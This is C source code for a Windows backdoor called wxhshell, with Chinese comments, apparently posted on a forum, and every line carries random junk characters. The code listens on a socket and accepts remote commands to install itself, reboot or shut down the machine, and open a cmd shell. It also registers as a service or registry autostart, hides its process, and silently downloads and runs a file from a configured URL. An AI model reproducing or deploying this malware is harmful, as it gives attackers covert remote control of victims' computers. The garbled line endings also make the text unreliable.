  // 帮助 1rw0sAuGy  
  case '?': { JGiKBm;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W#_/ak$uF*  
    break; LCXO>MXN  
  } 7RU}FE  
  // 安装 :/YO ni1h  
  case 'i': { Hx^!:kxk  
    if(Install()) -0o[f53}p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PZ:u_*Vu`  
    else $ E1Tb{'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;y?);!g  
    break; -9P2`XQ^  
    } RKd  
  // 卸载 G" b60RQ  
  case 'r': { X{Yw+F,j  
    if(Uninstall()) iWXc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b yg0.+e0  
    else Mro4`GL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,7]k fB  
    break; `znB7VQ0  
    } ~KjJ\b)R  
  // 显示 wxhshell 所在路径 !}TMiCK  
  case 'p': { # jYpVc{]  
    char svExeFile[MAX_PATH]; FD7H@L5  
    strcpy(svExeFile,"\n\r"); #~:P}<h  
      strcat(svExeFile,ExeFile); L/}iy}  
        send(wsh,svExeFile,strlen(svExeFile),0); yT OyDm-  
    break; }6RT,O g  
    } F SMj  
  // 重启 ]rd/;kg.S  
  case 'b': { AH7L.L+$M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ul7o%Hs  
    if(Boot(REBOOT)) _68BP)nz>.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U SOKDDm  
    else { `linG1mF  
    closesocket(wsh); H(u+#PIIw  
    ExitThread(0); ?v]-^X=&  
    } ~9pM%N V  
    break; l4'~}nn(Y  
    } c|p,/L09L  
  // 关机 JXQPT  
  case 'd': { V}8$p8#<@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dZ2%S''\  
    if(Boot(SHUTDOWN)) I8m:3fL"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I %_MV  
    else { kN9yO5 h7  
    closesocket(wsh); <)m%*9{  
    ExitThread(0); _uH9XGm  
    } 6k0^x Q  
    break; M8W#io  
    } WnxEu3U  
  // 获取shell {XY3Xo  
  case 's': { I=dGq;Jaz  
    CmdShell(wsh); $%qg"  
    closesocket(wsh); W^g'}}]T  
    ExitThread(0); <bmLy_":  
    break; 2wpjU&8W!  
  } [$\>~nj=  
  // 退出 =G>(~+EA  
  case 'x': { "e62/Ejg%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e1 a*'T$z  
    CloseIt(wsh); @ RR\lZ  
    break; Hhv$4;&X  
    } ," R>}kPli  
  // 离开 hY8#b)l~lu  
  case 'q': { Bku' H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7[o {9Yp&  
    closesocket(wsh); ijZ>:B2:  
    WSACleanup(); c?6d2jH.  
    exit(1); 2R@%Y/  
    break; #s"B-sWE  
        } cdp0!W4Gi  
  } F,}s$v  
  } >Q2). E  
d79N-O-  
  // 提示信息 `BT*,6a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "bX4Q4Dq  
} kL7^$  
  } !WKk=ysFS  
:,F=w0O  
  return; Jp ]T9W\  
} N/{?7sG&  
,IjdO(?TC  
// shell模块句柄 M\UWWb&%\  
int CmdShell(SOCKET sock) TETsg5#  
{ 5u,sx664  
STARTUPINFO si; /yYlu  
ZeroMemory(&si,sizeof(si)); lgT?{,>RkW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3?ba 1F0Nw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R<g=\XO'y  
PROCESS_INFORMATION ProcessInfo; <xF?~7  
char cmdline[]="cmd"; ryEvmWYu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w-: D  
  return 0; D8/sz`N7Q  
} faVS2TN4  
SJ(9rhB5*.  
// 自身启动模式 >B~?dTm  
int StartFromService(void) #NF+UJYJ&'  
{ lIl9ypikg  
typedef struct n\~yX<;X3  
{ =g2\CIlVU6  
  DWORD ExitStatus; -s~p}CQ.  
  DWORD PebBaseAddress; >@Khm"/T  
  DWORD AffinityMask; S ljZ~x,!  
  DWORD BasePriority; & =sayP  
  ULONG UniqueProcessId; s}!"a8hU`  
  ULONG InheritedFromUniqueProcessId; S A3Y:(  
}   PROCESS_BASIC_INFORMATION; p;ZDpR  
/O"0L/hc^  
PROCNTQSIP NtQueryInformationProcess; Ib(,P3  
"0Y&~q[=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %#Q #N,fw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \]GGVI ;u  
g[<uwknf  
  HANDLE             hProcess; V,'FlU  
  PROCESS_BASIC_INFORMATION pbi; ^ N_`^m  
A>y#}^l]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ug `   
  if(NULL == hInst ) return 0; %w%zv2d  
C9+Dw#-f V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D2-O7e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b6$4Ul-.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #|D:f~"d3  
$pJ3xp&  
  if (!NtQueryInformationProcess) return 0; ,|>nF;.Y  
@@xF#3   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '4Y*-!9  
  if(!hProcess) return 0; n7'<3t  
<#!8?o&i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k.ww-nH  
t"FRLC  
  CloseHandle(hProcess); 5vl2yN  
lHRK'? Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $M%}Oz3*  
if(hProcess==NULL) return 0; vV2o[\o^  
*,_2hvlz  
HMODULE hMod; @V*au:  
char procName[255]; pzYG?9cwz  
unsigned long cbNeeded; K T"h74@  
96k(X LR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !WDn7j'A  
m}sh I8S  
  CloseHandle(hProcess); qRWJ-T:!F  
r{c5dQ  
if(strstr(procName,"services")) return 1; // 以服务启动 :1%VZvWk*  
qrOB_Nz  
  return 0; // 注册表启动 ggzAU6J  
} Gf!t< =T   
vjY);aQ  
// 主模块 vQE` c@^{  
int StartWxhshell(LPSTR lpCmdLine) BD<rQmfA^  
{ 3BuD/bs  
  SOCKET wsl; h:eN>yW  
BOOL val=TRUE; zV9 =  
  int port=0; B>c[Zg1  
  struct sockaddr_in door; wK/}E h\^  
K7YT0cG  
  if(wscfg.ws_autoins) Install(); X:iG[iU*  
* <Nk%`  
port=atoi(lpCmdLine); f4qS OVv  
U]1>?,Nk'3  
if(port<=0) port=wscfg.ws_port; m(Pz7U.Q  
#h}IUR  
  WSADATA data; S+4I[|T]Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _S[Rvb1e   
y81#UD9[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   50O7=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AiR%MD  
  door.sin_family = AF_INET; P W0q71  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LL6ON }  
  door.sin_port = htons(port); |~1rKzZwF  
MV:<w3!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5G dY7t_1  
closesocket(wsl); y'i:%n}I  
return 1; 1VPfa  
} M,=@|U/B  
H-PW(  
  if(listen(wsl,2) == INVALID_SOCKET) { !rN#PF>  
closesocket(wsl); TWD|1 di0  
return 1; N23+1h  
} hA&j?{  
  Wxhshell(wsl); 8z3I~yL_`+  
  WSACleanup(); (PE8H~d  
-hJ>wGI  
return 0; JXD?a.vy^q  
UH.}B3H   
} NC[GtAPD3  
Sj=69>m]5  
// 以NT服务方式启动 {R6Zwjs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) : p*ojl|  
{ {O3oUE+  
DWORD   status = 0; e P,XH{s  
  DWORD   specificError = 0xfffffff; #xJGuYdv  
nP3;<*T P0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ""U?#<}GD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UHsrZgIRYT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dOYmt,  
  serviceStatus.dwWin32ExitCode     = 0; 6{,K7FL  
  serviceStatus.dwServiceSpecificExitCode = 0; ~_^o?NE,  
  serviceStatus.dwCheckPoint       = 0; j@_) F^12  
  serviceStatus.dwWaitHint       = 0; JQVw6*u{  
| 9\7xT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1RUbY>K#U  
  if (hServiceStatusHandle==0) return; Kr}M>hF+|  
3I{ta/(  
status = GetLastError(); { ves@p>?  
  if (status!=NO_ERROR) J#OE}xASoA  
{ ?3E_KGI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p9] 7g%  
    serviceStatus.dwCheckPoint       = 0; j*Wh;I+h  
    serviceStatus.dwWaitHint       = 0; {J6sM$aj  
    serviceStatus.dwWin32ExitCode     = status; '|A5a+[  
    serviceStatus.dwServiceSpecificExitCode = specificError; E( 4lu%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1b]PCNz  
    return; bCx1g/   
  } >7Sl( UY-  
UEYM;$_@4o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H6 f; BS  
  serviceStatus.dwCheckPoint       = 0; _=^hnv  
  serviceStatus.dwWaitHint       = 0; UE$[;Zg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vaCdfO&  
} -$MC  
xS\QKnG.  
// 处理NT服务事件,比如:启动、停止 @7Rt[2"e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <B{VL8IA>  
{ ;F]|HD9  
switch(fdwControl) HtXBaIl\  
{ :AcN b  
case SERVICE_CONTROL_STOP: lXk-86[M  
  serviceStatus.dwWin32ExitCode = 0; ?OYwM?Uf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0}7Rm>  
  serviceStatus.dwCheckPoint   = 0; 0N[DV]  
  serviceStatus.dwWaitHint     = 0; xW;[}t-QS  
  { OVo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D.Cs nfJ  
  } BNoCE!  
  return; y#Sw>-zRq  
case SERVICE_CONTROL_PAUSE: TKBK3N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9n\#s~,  
  break; M=abJ4  
case SERVICE_CONTROL_CONTINUE: V5@[7ncVf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]}L1W`n  
  break; Tvw2py q  
case SERVICE_CONTROL_INTERROGATE: 86 /i~s  
  break; U)=Z&($T  
}; Ri6 br  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x4A~MuGU  
} Y'%I at(z  
JP*wi-8D  
// 标准应用程序主函数 +/lj~5:y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U*U )l$!  
{ z>g& ?vo2  
4qcIoO  
// 获取操作系统版本 C^: &3,  
OsIsNt=GetOsVer(); 'xI+kyu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [a*>@IR  
qa`(,iN  
  // 从命令行安装 7Bd_/A($  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z4 zMa&  
)g^Ewzy^X  
  // 下载执行文件 He;%6OG{  
if(wscfg.ws_downexe) { PCnJ2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Guc^gq}  
  WinExec(wscfg.ws_filenam,SW_HIDE); wTbIS~!gF  
} yVv3S[J  
3o/ a8  
if(!OsIsNt) { {v/6|  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?\VN`8Yb  
HideProc(); 1Nu`@)D0  
StartWxhshell(lpCmdLine); RtQfE+  
} boB{Y7gO4  
else JY8pV+q @=  
  if(StartFromService()) _JO @O^Ndd  
  // 以服务方式启动 w~?eX/;  
  StartServiceCtrlDispatcher(DispatchTable); S$/3Kq  
else %d\+(:uu/  
  // 普通方式启动 S|w] Q  
  StartWxhshell(lpCmdLine); L(S.  
^TK)_wx  
return 0; '2{o_<m  
}
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只看该作者 1 发表于: 2006-10-10
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